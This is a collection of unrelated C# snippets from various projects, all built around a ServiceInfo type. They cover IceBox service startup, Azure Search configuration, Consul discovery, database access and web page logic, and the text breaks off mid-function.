public static void Run() { while (Nagme.Globals.programRunning) { ServiceController[] services = ServiceController.GetServices (); List<ServiceInfo> ServiceInfo = new List<ServiceInfo>(); foreach (ServiceController service in services) { ServiceInfo tmpServiceInfo = new ServiceInfo(); tmpServiceInfo.ServiceName = service.ServiceName.ToString(); tmpServiceInfo.ServiceStatus = service.Status.ToString(); Console.WriteLine (service.ServiceName + " " + service.Status); ServiceInfo.Add(tmpServiceInfo); } INagMe register = (INagMe)XmlRpcProxyGen.Create(typeof(INagMe)); register.Url = Nagme.Globals.xmlrpcAddress(); if(register.updateServiceInfo(ServiceInfo.ToArray(), Nagme.Globals.DeviceID(), Nagme.Globals.DevicePassword())){ Console.WriteLine("Updated Service Info"); }else{ Console.WriteLine("Failed Updating Service Info"); } Console.WriteLine(""); System.Threading.Thread.Sleep (60000); } }
public static ServiceInfo TryGetInfoFromConnectionString() { ServiceInfo info = null; var conn = ConfigurationManager.ConnectionStrings["AzureSearch"]; if (conn != null) { try { var parts = conn.ConnectionString .Split(';') .Select(p => p.Split('=')) .Select(t => new { key = t[0], value = t[1] }).ToList(); var service = parts.FirstOrDefault(p => p.key.Equals("ServiceName")); var key = parts.FirstOrDefault(p => p.key.Equals("ApiKey")); if (service != null && key != null) { info = new ServiceInfo { ServiceName = service.value.Trim(), QueryKey = key.value.Trim() }; } } catch { //no need to get all null-checky and collection count happy... if //something went wrong above, then the connection string existed, but //is configured incorrectly throw new ConfigurationErrorsException( "The AzureSearch connection string is invalid, or incorrectly formatted"); } } return info; }
public ServiceInfo InvokeService(EndpointAddress serviceAddress) { Console.WriteLine("\nInvoking Calculator Service at {0}\n", serviceAddress); //Create a client //WSHttpBinding binding = new WSHttpBinding(SecurityMode.None, true); //binding.MaxReceivedMessageSize = 1024000000; //binding.MaxBufferPoolSize = 4096; NetTcpBinding binding = new NetTcpBinding(SecurityMode.None,false); binding.MaxReceivedMessageSize = 1024000000; binding.MaxBufferPoolSize = 4096000; binding.TransferMode = TransferMode.Streamed; binding.ReceiveTimeout = TimeSpan.MaxValue; binding.SendTimeout = TimeSpan.MaxValue; //NetTcpBinding binding = new NetTcpBinding(SecurityMode.None, true); //binding.MaxReceivedMessageSize = 1024000000; //binding.MaxBufferPoolSize = 4096000; //binding.TransferMode = TransferMode.Streamed; ServiceInfo client = new ServiceInfo(binding, serviceAddress); return client; }
public CoreInfo(IEmulator emu) { TypeName = emu.GetType().ToString(); CoreName = emu.Attributes().CoreName; Released = emu.Attributes().Released; Services = new Dictionary<string, ServiceInfo>(); var ser = emu.ServiceProvider; foreach (Type t in ser.AvailableServices.Where(type => type != emu.GetType())) { var si = new ServiceInfo(t, ser.GetService(t)); Services.Add(si.TypeName, si); } var notapplicableAttr = ((ServiceNotApplicable)Attribute .GetCustomAttribute(emu.GetType(), typeof(ServiceNotApplicable))); if (notapplicableAttr != null) { NotApplicableTypes = notapplicableAttr.NotApplicableTypes .Select(x => x.ToString()) .ToList(); } else { NotApplicableTypes = new List<string>(); } }
public RunnerDataHolder( PluginAssemblyInfo[] allAssemblies, PluginInfo[] oldPlugins, ServiceInfo[] notFoundServices ) { _allAssemblies = allAssemblies; _oldPlugins = oldPlugins; _notFoundServices = notFoundServices; }
public ServiceRefInfo( ServiceInfo r, bool isIServiceWrapped, bool isGeneric, bool isIDynamicService ) { Debug.Assert( !isIServiceWrapped || isIDynamicService, "IService<T> ==> T : IDynamicService" ); Reference = r; IsIServiceWrapped = isIServiceWrapped; IsUnknownGenericInterface = isGeneric && !isIServiceWrapped; IsIDynamicService = isIDynamicService; }
public static ServiceInfo TryGetInfoFromAppSettings() { ServiceInfo info = null; var service = ConfigurationManager.AppSettings["Azure.Search.ServiceName"]; var key = ConfigurationManager.AppSettings["Azure.Search.ApiKey"]; if (service != null && key != null) { info = new ServiceInfo { ServiceName = service, QueryKey = key }; } return info; }
public static void CreateService(ServiceInfo Service) { SqlConnection Con = ConnectionHelper.GetConnection(); string Sp = "Usp_Create_Service"; SqlCommand cmd = new SqlCommand(Sp, Con); cmd.Parameters.Add(new SqlParameter("@ServiceName", Service.ServiceName)); cmd.Parameters.Add(new SqlParameter("@CatID", Service.CategoryID)); cmd.Parameters.Add(new SqlParameter("@ServicePrice", Service.rate)); cmd.CommandType = CommandType.StoredProcedure; try { cmd.ExecuteNonQuery(); } catch (Exception ex) { throw ex; } }
protected void Page_Load(object sender, EventArgs e) { ServiceInfo objSvcInfo; CommonUtil objComUtil = new CommonUtil(); if (Session == null || Session["serviceInfo"] == null) { objSvcInfo = new ServiceInfo(); } else { objSvcInfo = (ServiceInfo)Session["serviceInfo"]; } //set the master page controls translated text lnkTnC.InnerHtml = objComUtil.getTransText(lnkTnC.Attributes["name"]); lnkDisclaimer.InnerText = objComUtil.getTransText(lnkDisclaimer.Attributes["name"]); lnkFullSite.InnerText = objComUtil.getTransText(lnkFullSite.Attributes["name"]); btnBack.InnerHtml = objComUtil.getTransText("Back"); }
public static ServiceInfo DiscoveryService(string consulEndpoint, string serviceName,string tag=null) { using (var client = new HttpClient()) { var traefikUrl = string.Format("{0}/v1/health/service/{1}", consulEndpoint, serviceName); if (!string.IsNullOrEmpty(tag)) { traefikUrl = traefikUrl + "?tag=" + tag; } var traefikInfo = client.GetAsync(traefikUrl).Result.Content.ReadAsAsync<JArray>().Result; foreach (var info in traefikInfo) { var serviceIsOk = info["Checks"].Any(item => item.Value<string>("CheckID") == "service:"+serviceName && item.Value<string>("Status") == "passing"); if (!serviceIsOk) { continue; } var port = info.SelectToken("Service.Port").Value<string>(); var address = info.SelectToken("Service.Address").Value<string>(); if (string.IsNullOrEmpty(address)) { address = info.SelectToken("Node.Address").Value<string>(); } var serviceInfo = new ServiceInfo { Address = address, Port = port, ServiceName = serviceName }; return serviceInfo; } return null; } }
public static ServiceInfo GetServicebyID(int id) { ServiceInfo _service = new ServiceInfo(); SqlConnection con = ConnectionHelper.GetConnection(); string sp = "Usp_ById_Service"; SqlCommand cmd = new SqlCommand(sp, con); cmd.Parameters.Add(new SqlParameter("@ServID", id)); cmd.CommandType = CommandType.StoredProcedure; try { SqlDataReader _Reader = cmd.ExecuteReader(); _Reader.Read(); _service.ServiceName= (_Reader["ServiceName"].ToString()); _service.ServiceID = int.Parse(_Reader["ServiceID"].ToString()); _service.CategoryID = int.Parse(_Reader["CategoryID"].ToString()); _service.rate = int.Parse(_Reader["ServicePrice"].ToString()); return _service; } catch (Exception ex) { throw ex; } }
public static void Install(ServiceInfo serviceInfo) { Install(true, serviceInfo); }
public override Task RegisterAsync(ServiceInfo serviceInfo) { return TaskHelper.FromResult<object>(null); }
public void Update_Service(ServiceInfo service) { _serviceRepo.Update_Service(service); }
private void startService(string service, string entryPoint, string[] args) { lock(this) { // // Extract the assembly name and the class name. // string err = "ServiceManager: unable to load service '" + entryPoint + "': "; int sepPos = entryPoint.IndexOf(':'); if(sepPos != -1 && IceInternal.AssemblyUtil.platform_ == IceInternal.AssemblyUtil.Platform.Windows) { const string driveLetters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; if(entryPoint.Length > 3 && sepPos == 1 && driveLetters.IndexOf(entryPoint[0]) != -1 && (entryPoint[2] == '\\' || entryPoint[2] == '/')) { sepPos = entryPoint.IndexOf(':', 3); } } if(sepPos == -1) { FailureException e = new FailureException(); e.reason = err + "invalid entry point format"; throw e; } System.Reflection.Assembly serviceAssembly = null; string assemblyName = entryPoint.Substring(0, sepPos); string className = entryPoint.Substring(sepPos + 1); try { // // First try to load the assembly using Assembly.Load, which will succeed // if a fully-qualified name is provided or if a partial name has been qualified // in configuration. If that fails, try Assembly.LoadFrom(), which will succeed // if a file name is configured or a partial name is configured and DEVPATH is used. // try { serviceAssembly = System.Reflection.Assembly.Load(assemblyName); } catch(System.IO.IOException ex) { try { serviceAssembly = System.Reflection.Assembly.LoadFrom(assemblyName); } catch(System.IO.IOException) { throw ex; } } } catch(System.Exception ex) { FailureException e = new FailureException(ex); e.reason = err + "unable to load assembly: " + assemblyName; throw e; } // // Instantiate the class. // System.Type c = null; try { c = serviceAssembly.GetType(className, true); } catch(System.Exception ex) { FailureException e = new FailureException(ex); e.reason = err + "GetType failed for '" + className + "'"; throw e; } ServiceInfo info = new ServiceInfo(); info.name = service; info.status = ServiceStatus.Stopped; info.args = args; // // If IceBox.UseSharedCommunicator.<name> is defined, create a // communicator for the service. The communicator inherits // from the shared communicator properties. If it's not // defined, add the service properties to the shared // commnunicator property set. // Ice.Communicator communicator; if(_communicator.getProperties().getPropertyAsInt("IceBox.UseSharedCommunicator." + service) > 0) { Debug.Assert(_sharedCommunicator != null); communicator = _sharedCommunicator; } else { // // Create the service properties. We use the communicator properties as the default // properties if IceBox.InheritProperties is set. // Ice.InitializationData initData = new Ice.InitializationData(); initData.properties = createServiceProperties(service); if(info.args.Length > 0) { // // Create the service properties with the given service arguments. This should // read the service config file if it's specified with --Ice.Config. // initData.properties = Ice.Util.createProperties(ref info.args, initData.properties); // // Next, parse the service "<service>.*" command line options (the Ice command // line options were parsed by the createProperties above) // info.args = initData.properties.parseCommandLineOptions(service, info.args); } // // Clone the logger to assign a new prefix. If one of the built-in loggers is configured // don't set any logger. // if(initData.properties.getProperty("Ice.LogFile").Length == 0 && (initData.properties.getPropertyAsInt("Ice.UseSyslog") <= 0 || IceInternal.AssemblyUtil.platform_ == IceInternal.AssemblyUtil.Platform.Windows)) { initData.logger = _logger.cloneWithPrefix(initData.properties.getProperty("Ice.ProgramName")); } // // If Admin is enabled on the IceBox communicator, for each service that does not set // Ice.Admin.Enabled, we set Ice.Admin.Enabled=1 to have this service create facets; then // we add these facets to the IceBox Admin object as IceBox.Service.<service>.<facet>. // string serviceFacetNamePrefix = "IceBox.Service." + service + "."; bool addFacets = configureAdmin(initData.properties, serviceFacetNamePrefix); // // Remaining command line options are passed to the communicator. This is // necessary for Ice plug-in properties (e.g.: IceSSL). // info.communicator = Ice.Util.initialize(ref info.args, initData); communicator = info.communicator; if(addFacets) { // Add all facets created on the service communicator to the IceBox communicator // but renamed IceBox.Service.<service>.<facet-name>, except for the Process facet // which is never added foreach(KeyValuePair<string, Ice.Object> p in communicator.findAllAdminFacets()) { if(!p.Key.Equals("Process")) { _communicator.addAdminFacet(p.Value, serviceFacetNamePrefix + p.Key); } } } } try { // // Instantiate the service. // try { // // If the service class provides a constructor that accepts an Ice.Communicator argument, // use that in preference to the default constructor. // Type[] parameterTypes = new Type[1]; parameterTypes[0] = typeof(Ice.Communicator); System.Reflection.ConstructorInfo ci = c.GetConstructor(parameterTypes); if(ci != null) { try { Object[] parameters = new Object[1]; parameters[0] = _communicator; info.service = (Service)ci.Invoke(parameters); } catch(System.MethodAccessException ex) { FailureException e = new FailureException(ex); e.reason = err + "unable to access service constructor " + className + "(Ice.Communicator)"; throw e; } } else { // // Fall back to the default constructor. // try { info.service = (Service)IceInternal.AssemblyUtil.createInstance(c); if(info.service == null) { FailureException e = new FailureException(); e.reason = err + "no default constructor for '" + className + "'"; throw e; } } catch(System.UnauthorizedAccessException ex) { FailureException e = new FailureException(ex); e.reason = err + "unauthorized access to default service constructor for " + className; throw e; } } } catch(FailureException) { throw; } catch(System.InvalidCastException ex) { FailureException e = new FailureException(ex); e.reason = err + "service does not implement IceBox.Service"; throw e; } catch(System.Reflection.TargetInvocationException ex) { if(ex.InnerException is IceBox.FailureException) { throw ex.InnerException; } else { FailureException e = new FailureException(ex.InnerException); e.reason = err + "exception in service constructor for " + className; throw e; } } catch(System.Exception ex) { FailureException e = new FailureException(ex); e.reason = err + "exception in service constructor " + className; throw e; } try { info.service.start(service, communicator, info.args); } catch(FailureException) { throw; } catch(System.Exception ex) { FailureException e = new FailureException(ex); e.reason = "exception while starting service " + service; throw e; } info.status = ServiceStatus.Started; _services.Add(info); } catch(System.Exception) { if(info.communicator != null) { destroyServiceCommunicator(service, info.communicator); } throw; } } }
private void BindForm() { if (PanelSecurity.SelectedUser.Role == UserRole.Administrator && PanelSecurity.PackageId < 2) { ddlLocation.Items.Remove(ddlLocation.Items.FindByValue("1")); } if (PanelSecurity.LoggedUser.Role != UserRole.Administrator) { ddlLocation.Items.Remove(ddlLocation.Items.FindByValue("2")); } string modeText = "{0}"; string modeValue = ""; if (PanelSecurity.PackageId > 0) { // load a single package PackageInfo restorePackage = ES.Services.Packages.GetPackage(PanelSecurity.PackageId); // load "store" packages PackageInfo[] packages = ES.Services.Packages.GetMyPackages(PanelSecurity.SelectedUser.UserId); foreach (PackageInfo package in packages) { ddlSpace.Items.Add(new ListItem(package.PackageName, package.PackageId.ToString())); } ddlSpace.SelectedValue = PanelSecurity.PackageId.ToString(); modeText = "Text.SpaceRestoreMode"; modeValue = restorePackage.PackageName; } else if (PanelRequest.ServiceId > 0) { ddlLocation.Items.Remove(ddlLocation.Items.FindByValue("1")); ServiceInfo service = ES.Services.Servers.GetServiceInfo(PanelRequest.ServiceId); modeText = "Text.ServiceRestoreMode"; modeValue = service.ServiceName; } else if (PanelRequest.ServerId > 0) { ddlLocation.Items.Remove(ddlLocation.Items.FindByValue("1")); ServerInfo server = ES.Services.Servers.GetServerById(PanelRequest.ServerId); modeText = "Text.ServerRestoreMode"; modeValue = server.ServerName; } else if (PanelSecurity.SelectedUserId > 0) { // load user spaces PackageInfo[] packages = ES.Services.Packages.GetMyPackages(PanelSecurity.SelectedUserId); foreach (PackageInfo package in packages) { ddlSpace.Items.Add(new ListItem(package.PackageName, package.PackageId.ToString())); } modeText = "Text.UserRestoreMode"; modeValue = PanelSecurity.SelectedUser.Username; } // restore type litRestoreType.Text = String.Format(GetLocalizedString(modeText), modeValue); ToggleFormControls(); InitFolderBrowser(); }
protected void Page_Load(object sender, EventArgs e) { //Get the Service Object from sEssion objServ = (ServiceInfo)HttpContext.Current.Session["serviceInfo"]; if (objServ != null) { //Set the Control names based on the Culture Code lblUserName.InnerText = objCommonUtil.getTransText(lblUserName.Attributes["name"]); btnSendToMail.Text = objCommonUtil.getTransText(btnSendToMail.Attributes["name"]); } }
private void startService(string service, string entryPoint, string[] args) { _m.Lock(); try { ServiceInfo info = new ServiceInfo(); info.name = service; info.status = ServiceStatus.Stopped; info.args = args; // // Retrieve the assembly name and the type. // string err = "ServiceManager: unable to load service '" + entryPoint + "': "; int sepPos = entryPoint.IndexOf(':'); if(sepPos != -1) { if(entryPoint.Length > 3 && sepPos == 1 && System.Char.IsLetter(entryPoint[0]) && (entryPoint[2] == '\\' || entryPoint[2] == '/')) { sepPos = entryPoint.IndexOf(':', 3); } } if(sepPos == -1) { FailureException e = new FailureException(); e.reason = err + "invalid entry point format: " + entryPoint; throw e; } System.Reflection.Assembly serviceAssembly = null; string assemblyName = entryPoint.Substring(0, sepPos); try { // // First try to load the assemby using Assembly.Load which will succeed // if full name is configured or partial name has been qualified in config. // If that fails, try Assembly.LoadFrom() which will succeed if a file name // is configured or partial name is configured and DEVPATH is used. // try { serviceAssembly = System.Reflection.Assembly.Load(assemblyName); } catch(System.IO.IOException ex) { try { serviceAssembly = System.Reflection.Assembly.LoadFrom(assemblyName); } catch(System.IO.IOException) { throw ex; } } } catch(System.Exception ex) { FailureException e = new FailureException(ex); e.reason = err + "unable to load assembly: " + assemblyName; throw e; } // // Instantiate the class. // string className = entryPoint.Substring(sepPos + 1); System.Type c = null; try { c = serviceAssembly.GetType(className, true); } catch(System.Exception ex) { FailureException e = new FailureException(ex); e.reason = err + "GetType failed for '" + className + "'"; throw e; } try { // // If the service class provides a constructor that accepts an Ice.Communicator argument, // use that in preference to the default constructor. // Type[] parameterTypes = new Type[1]; parameterTypes[0] = typeof(Ice.Communicator); System.Reflection.ConstructorInfo ci = c.GetConstructor(parameterTypes); if(ci != null) { try { Object[] parameters = new Object[1]; parameters[0] = _communicator; info.service = (Service)ci.Invoke(parameters); } catch(System.MethodAccessException ex) { FailureException e = new FailureException(ex); e.reason = err + "unable to access service constructor " + className + "(Ice.Communicator)"; throw e; } } else { // // Fall back to the default constructor. // try { info.service = (Service)IceInternal.AssemblyUtil.createInstance(c); if(info.service == null) { FailureException e = new FailureException(); e.reason = err + "no default constructor for '" + className + "'"; throw e; } } catch(System.UnauthorizedAccessException ex) { FailureException e = new FailureException(ex); e.reason = err + "unauthorized access to default service constructor for " + className; throw e; } } } catch(FailureException) { throw; } catch(System.InvalidCastException ex) { FailureException e = new FailureException(ex); e.reason = err + "service does not implement IceBox.Service"; throw e; } catch(System.Reflection.TargetInvocationException ex) { if(ex.InnerException is IceBox.FailureException) { throw ex.InnerException; } else { FailureException e = new FailureException(ex.InnerException); e.reason = "ServiceManager: exception in service constructor for " + className; throw e; } } catch(System.Exception ex) { FailureException e = new FailureException(ex); e.reason = err + "exception in service constructor " + className; throw e; } // // Invoke Service::start(). // try { // // If IceBox.UseSharedCommunicator.<name> is defined, create a // communicator for the service. The communicator inherits // from the shared communicator properties. If it's not // defined, add the service properties to the shared // commnunicator property set. // Ice.Communicator communicator; if(_communicator.getProperties().getPropertyAsInt("IceBox.UseSharedCommunicator." + service) > 0) { Debug.Assert(_sharedCommunicator != null); communicator = _sharedCommunicator; } else { // // Create the service properties. We use the communicator properties as the default // properties if IceBox.InheritProperties is set. // Ice.InitializationData initData = new Ice.InitializationData(); initData.properties = createServiceProperties(service); if(info.args.Length > 0) { // // Create the service properties with the given service arguments. This should // read the service config file if it's specified with --Ice.Config. // initData.properties = Ice.Util.createProperties(ref info.args, initData.properties); // // Next, parse the service "<service>.*" command line options (the Ice command // line options were parsed by the createProperties above) // info.args = initData.properties.parseCommandLineOptions(service, info.args); } // // Clone the logger to assign a new prefix. // initData.logger = _logger.cloneWithPrefix(initData.properties.getProperty("Ice.ProgramName")); // // Remaining command line options are passed to the communicator. This is // necessary for Ice plug-in properties (e.g.: IceSSL). // info.communicator = Ice.Util.initialize(ref info.args, initData); communicator = info.communicator; } try { info.service.start(service, communicator, info.args); info.status = ServiceStatus.Started; } catch(System.Exception) { if(info.communicator != null) { try { info.communicator.shutdown(); info.communicator.waitForShutdown(); } catch(Ice.CommunicatorDestroyedException) { // // Ignore, the service might have already destroyed // the communicator for its own reasons. // } catch(System.Exception e) { _logger.warning("ServiceManager: exception while shutting down communicator for service " + service + "\n" + e.ToString()); } try { info.communicator.destroy(); } catch(System.Exception e) { _logger.warning("ServiceManager: exception while destroying communicator for service " + service + "\n" + e.ToString()); } } throw; } _services.Add(info); } catch(FailureException) { throw; } catch(System.Exception ex) { FailureException e = new FailureException(ex); e.reason = "ServiceManager: exception while starting service " + service; throw e; } } finally { _m.Unlock(); } }
/// <summary> /// Get log items by identifiers /// </summary> /// <param name="logIds">Log item identifiers</param> /// <returns>Log items</returns> //public virtual IList<Log> GetLogByIds(int[] logIds) // { // if (logIds == null || logIds.Length == 0) // return new List<Log>(); // var query = from l in _logRepository.Table // where logIds.Contains(l.Id) // select l; // var logItems = query.ToList(); // //sort by passed identifiers // var sortedLogItems = new List<Log>(); // foreach (int id in logIds) // { // var log = logItems.Find(x => x.Id == id); // if (log != null) // sortedLogItems.Add(log); // } // return sortedLogItems; // } public Log InsertLog(LogLevel logLevel, string shortMessage, string fullMessage = "", ServiceInfo serviceInfo = null) { var log = new Log { LogLevel = logLevel, ShortMessage = shortMessage, FullMessage = fullMessage, serviceInfo = serviceInfo, CreatedOnUtc = DateTime.UtcNow }; _logRepository.Add(log); return(log); }
//public static IApplicationBuilder UseCobMvc<T>(this IApplicationBuilder mvcBuilder, Action<CobMvcStartupOptions> optionSetup = null)//, Action<CobMvcOptions> option //{ // return mvcBuilder.UseCobMvc(opt=> // { // opt.ServiceName = typeof(T).Assembly.GetName().Name; // optionSetup?.Invoke(opt); // }); //} /// <summary> /// 启用cobmvc服务注册,放置在UseMvc()之前 /// </summary> /// <param name="mvcBuilder"></param> /// <returns></returns> public static IApplicationBuilder UseCobMvc(this IApplicationBuilder mvcBuilder, Action <CobMvcOptions> optionsSetup = null)// { var options = mvcBuilder.ApplicationServices.GetService <IOptions <CobMvcOptions> >().Value; optionsSetup?.Invoke(options); if (string.IsNullOrWhiteSpace(options.ServiceAddress)) { var addr = mvcBuilder.ServerFeatures.Get <IServerAddressesFeature>(); if (addr.Addresses.Any()) { options.ServiceAddress = addr.Addresses.First(); Console.WriteLine($"use addr:{options.ServiceAddress} from server feature"); #if !DEBUG options.ServiceAddress = NetHelper.ChangeToExternal(options.ServiceAddress); Console.WriteLine($"convert addr to external: {options.ServiceAddress}"); #endif } } if (string.IsNullOrWhiteSpace(options.ServiceAddress)) { options.ServiceAddress = "http://localhost:5000"; } //如果没有设置服务名称,则使用程序集作为服务名 if (string.IsNullOrWhiteSpace(options.ServiceName)) { options.ServiceName = Assembly.GetEntryAssembly().GetName().Name; } var uri = new Uri(options.ServiceAddress); var svcInfo = new ServiceInfo { Address = uri.ToString(), Name = options.ServiceName, ID = StringHelper.ToMD5(options.ServiceAddress + options.ServiceName),// //Port = uri.Port }; if (!string.IsNullOrWhiteSpace(options.HealthCheck)) { svcInfo.CheckInfoes = new[] { new ServiceCheckInfo { Type = ServiceCheckInfoType.Http, Target = new Uri(UriHelper.Combine(options.ServiceAddress, options.HealthCheck)), Interval = TimeSpan.FromSeconds(3), Timeout = TimeSpan.FromSeconds(60) } }; } var logger = mvcBuilder.ApplicationServices.GetRequiredService <ILoggerFactory>().CreateLogger <CobMvcMiddleware>(); logger.LogDebug("register service:{0}\t{1}", svcInfo.Name, svcInfo.Address); var reg = mvcBuilder.ApplicationServices.GetRequiredService <IServiceRegistration>(); reg.Register(svcInfo); mvcBuilder.UseMiddleware <CobMvcMiddleware>(); //todo:deregister return(mvcBuilder); }
/// <summary> /// 获取新服务信息并与缓存对比后返回最新 /// </summary> public ServiceInfo ProcessServiceJson(string json) { ServiceInfo serviceInfo = JsonConvert.DeserializeObject <ServiceInfo>(json); ServiceInfo oldService = null; _serviceInfoMap.TryGetValue(serviceInfo.GetKey(), out oldService); if (serviceInfo.Hosts == null || !serviceInfo.Validate()) { return(oldService); } bool changed = false; if (oldService != null) { if (oldService.LastRefTime > serviceInfo.LastRefTime) { _logger.Warn($"out of date data received, old-t: {oldService.LastRefTime}, new-t: {serviceInfo.LastRefTime}"); } _serviceInfoMap.Add(serviceInfo.GetKey(), serviceInfo); var oldHostMap = oldService.Hosts.ToDictionary(x => x.ToInetAddr()); var newHostMap = serviceInfo.Hosts.ToDictionary(x => x.ToInetAddr()); var modHosts = newHostMap.Where(x => oldHostMap.ContainsKey(x.Key) && !x.Value.ToString().Equals(oldHostMap[x.Key].ToString())).Select(x => x.Value); var newHosts = newHostMap.Where(x => !oldHostMap.ContainsKey(x.Key)).Select(x => x.Value); var remvHosts = oldHostMap.Where(x => !newHostMap.ContainsKey(x.Key)).Select(x => x.Value); if (newHosts.Count() > 0) { changed = true; _logger.Info($"new ips ({newHosts.Count()}) service: {serviceInfo.GetKey()} -> {JsonConvert.SerializeObject(newHosts)}"); } if (remvHosts.Count() > 0) { changed = true; _logger.Info($"removed ips ({remvHosts.Count()}) service: {serviceInfo.GetKey()} -> {JsonConvert.SerializeObject(remvHosts)}"); } if (modHosts.Count() > 0) { changed = true; _logger.Info($"modified ips ({modHosts.Count()}) service: {serviceInfo.GetKey()} -> {JsonConvert.SerializeObject(modHosts)}"); } if (newHosts.Count() > 0 || remvHosts.Count() > 0 || modHosts.Count() > 0) { _eventDispatcher.ServiceChanged(serviceInfo); DiskCache.WriteServiceInfo(_cacheDir, serviceInfo); } } else { changed = true; _logger.Info($"init new ips({serviceInfo.IpCount()}) service: {serviceInfo.GetKey()} -> {JsonConvert.SerializeObject(serviceInfo.Hosts)}"); _serviceInfoMap.Add(serviceInfo.GetKey(), serviceInfo); _eventDispatcher.ServiceChanged(serviceInfo); DiskCache.WriteServiceInfo(_cacheDir, serviceInfo); } if (changed) { _logger.Info($"current ips({serviceInfo.IpCount()}) service: {serviceInfo.GetKey()} -> {JsonConvert.SerializeObject(serviceInfo.Hosts)}"); } return(serviceInfo); }
public override void startService(string name, Ice.Current current) { ServiceInfo info = new ServiceInfo(); lock (this) { // // Search would be more efficient if services were contained in // a map, but order is required for shutdown. // int i; for (i = 0; i < _services.Count; ++i) { info = _services[i]; if (info.name.Equals(name)) { if (_services[i].status != ServiceStatus.Stopped) { throw new AlreadyStartedException(); } info.status = ServiceStatus.Starting; _services[i] = info; break; } } if (i == _services.Count) { throw new NoSuchServiceException(); } _pendingStatusChanges = true; } bool started = false; try { info.service.start(info.name, info.communicator == null ? _sharedCommunicator : info.communicator, info.args); started = true; } catch (Exception e) { _logger.warning("ServiceManager: exception while starting service " + info.name + ":\n" + e.ToString()); } lock (this) { int i; for (i = 0; i < _services.Count; ++i) { info = _services[i]; if (info.name.Equals(name)) { if (started) { info.status = ServiceStatus.Started; List <string> services = new List <string>(); services.Add(name); servicesStarted(services, _observers.Keys); } else { info.status = ServiceStatus.Stopped; } _services[i] = info; break; } } _pendingStatusChanges = false; System.Threading.Monitor.PulseAll(this); } }
private void startService(string service, string entryPoint, string[] args) { lock (this) { // // Extract the assembly name and the class name. // string err = "ServiceManager: unable to load service '" + entryPoint + "': "; int sepPos = entryPoint.IndexOf(':'); if (sepPos != -1) { const string driveLetters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; if (entryPoint.Length > 3 && sepPos == 1 && driveLetters.IndexOf(entryPoint[0]) != -1 && (entryPoint[2] == '\\' || entryPoint[2] == '/')) { sepPos = entryPoint.IndexOf(':', 3); } } if (sepPos == -1) { FailureException e = new FailureException(); e.reason = err + "invalid entry point format"; throw e; } System.Reflection.Assembly serviceAssembly = null; string assemblyName = entryPoint.Substring(0, sepPos); string className = entryPoint.Substring(sepPos + 1); try { // // First try to load the assembly using Assembly.Load, which will succeed // if a fully-qualified name is provided or if a partial name has been qualified // in configuration. If that fails, try Assembly.LoadFrom(), which will succeed // if a file name is configured or a partial name is configured and DEVPATH is used. // try { serviceAssembly = System.Reflection.Assembly.Load(assemblyName); } catch (System.IO.IOException ex) { try { serviceAssembly = System.Reflection.Assembly.LoadFrom(assemblyName); } catch (System.IO.IOException) { throw ex; } } } catch (Exception ex) { FailureException e = new FailureException(ex); e.reason = err + "unable to load assembly: " + assemblyName; throw e; } // // Instantiate the class. // Type c = null; try { c = serviceAssembly.GetType(className, true); } catch (Exception ex) { FailureException e = new FailureException(ex); e.reason = err + "GetType failed for '" + className + "'"; throw e; } ServiceInfo info = new ServiceInfo(); info.name = service; info.status = ServiceStatus.Stopped; info.args = args; // // If IceBox.UseSharedCommunicator.<name> is defined, create a // communicator for the service. The communicator inherits // from the shared communicator properties. If it's not // defined, add the service properties to the shared // commnunicator property set. // Ice.Communicator communicator; if (_communicator.getProperties().getPropertyAsInt("IceBox.UseSharedCommunicator." + service) > 0) { Debug.Assert(_sharedCommunicator != null); communicator = _sharedCommunicator; } else { // // Create the service properties. We use the communicator properties as the default // properties if IceBox.InheritProperties is set. // Ice.InitializationData initData = new Ice.InitializationData(); initData.properties = createServiceProperties(service); if (info.args.Length > 0) { // // Create the service properties with the given service arguments. This should // read the service config file if it's specified with --Ice.Config. // initData.properties = Ice.Util.createProperties(ref info.args, initData.properties); // // Next, parse the service "<service>.*" command line options (the Ice command // line options were parsed by the createProperties above) // info.args = initData.properties.parseCommandLineOptions(service, info.args); } // // Clone the logger to assign a new prefix. If one of the built-in loggers is configured // don't set any logger. // if (initData.properties.getProperty("Ice.LogFile").Length == 0) { initData.logger = _logger.cloneWithPrefix(initData.properties.getProperty("Ice.ProgramName")); } // // If Admin is enabled on the IceBox communicator, for each service that does not set // Ice.Admin.Enabled, we set Ice.Admin.Enabled=1 to have this service create facets; then // we add these facets to the IceBox Admin object as IceBox.Service.<service>.<facet>. // string serviceFacetNamePrefix = "IceBox.Service." + service + "."; bool addFacets = configureAdmin(initData.properties, serviceFacetNamePrefix); // // Remaining command line options are passed to the communicator. This is // necessary for Ice plug-in properties (e.g.: IceSSL). // info.communicator = Ice.Util.initialize(ref info.args, initData); communicator = info.communicator; if (addFacets) { // Add all facets created on the service communicator to the IceBox communicator // but renamed IceBox.Service.<service>.<facet-name>, except for the Process facet // which is never added foreach (KeyValuePair <string, Ice.Object> p in communicator.findAllAdminFacets()) { if (!p.Key.Equals("Process")) { _communicator.addAdminFacet(p.Value, serviceFacetNamePrefix + p.Key); } } } } try { // // Instantiate the service. // try { // // If the service class provides a constructor that accepts an Ice.Communicator argument, // use that in preference to the default constructor. // Type[] parameterTypes = new Type[1]; parameterTypes[0] = typeof(Ice.Communicator); System.Reflection.ConstructorInfo ci = c.GetConstructor(parameterTypes); if (ci != null) { try { object[] parameters = new object[1]; parameters[0] = _communicator; info.service = (Service)ci.Invoke(parameters); } catch (MethodAccessException ex) { FailureException e = new FailureException(ex); e.reason = err + "unable to access service constructor " + className + "(Ice.Communicator)"; throw e; } } else { // // Fall back to the default constructor. // try { info.service = (Service)IceInternal.AssemblyUtil.createInstance(c); if (info.service == null) { FailureException e = new FailureException(); e.reason = err + "no default constructor for '" + className + "'"; throw e; } } catch (UnauthorizedAccessException ex) { FailureException e = new FailureException(ex); e.reason = err + "unauthorized access to default service constructor for " + className; throw e; } } } catch (FailureException) { throw; } catch (InvalidCastException ex) { FailureException e = new FailureException(ex); e.reason = err + "service does not implement IceBox.Service"; throw e; } catch (System.Reflection.TargetInvocationException ex) { if (ex.InnerException is FailureException) { throw ex.InnerException; } else { FailureException e = new FailureException(ex.InnerException); e.reason = err + "exception in service constructor for " + className; throw e; } } catch (Exception ex) { FailureException e = new FailureException(ex); e.reason = err + "exception in service constructor " + className; throw e; } try { info.service.start(service, communicator, info.args); } catch (FailureException) { throw; } catch (Exception ex) { FailureException e = new FailureException(ex); 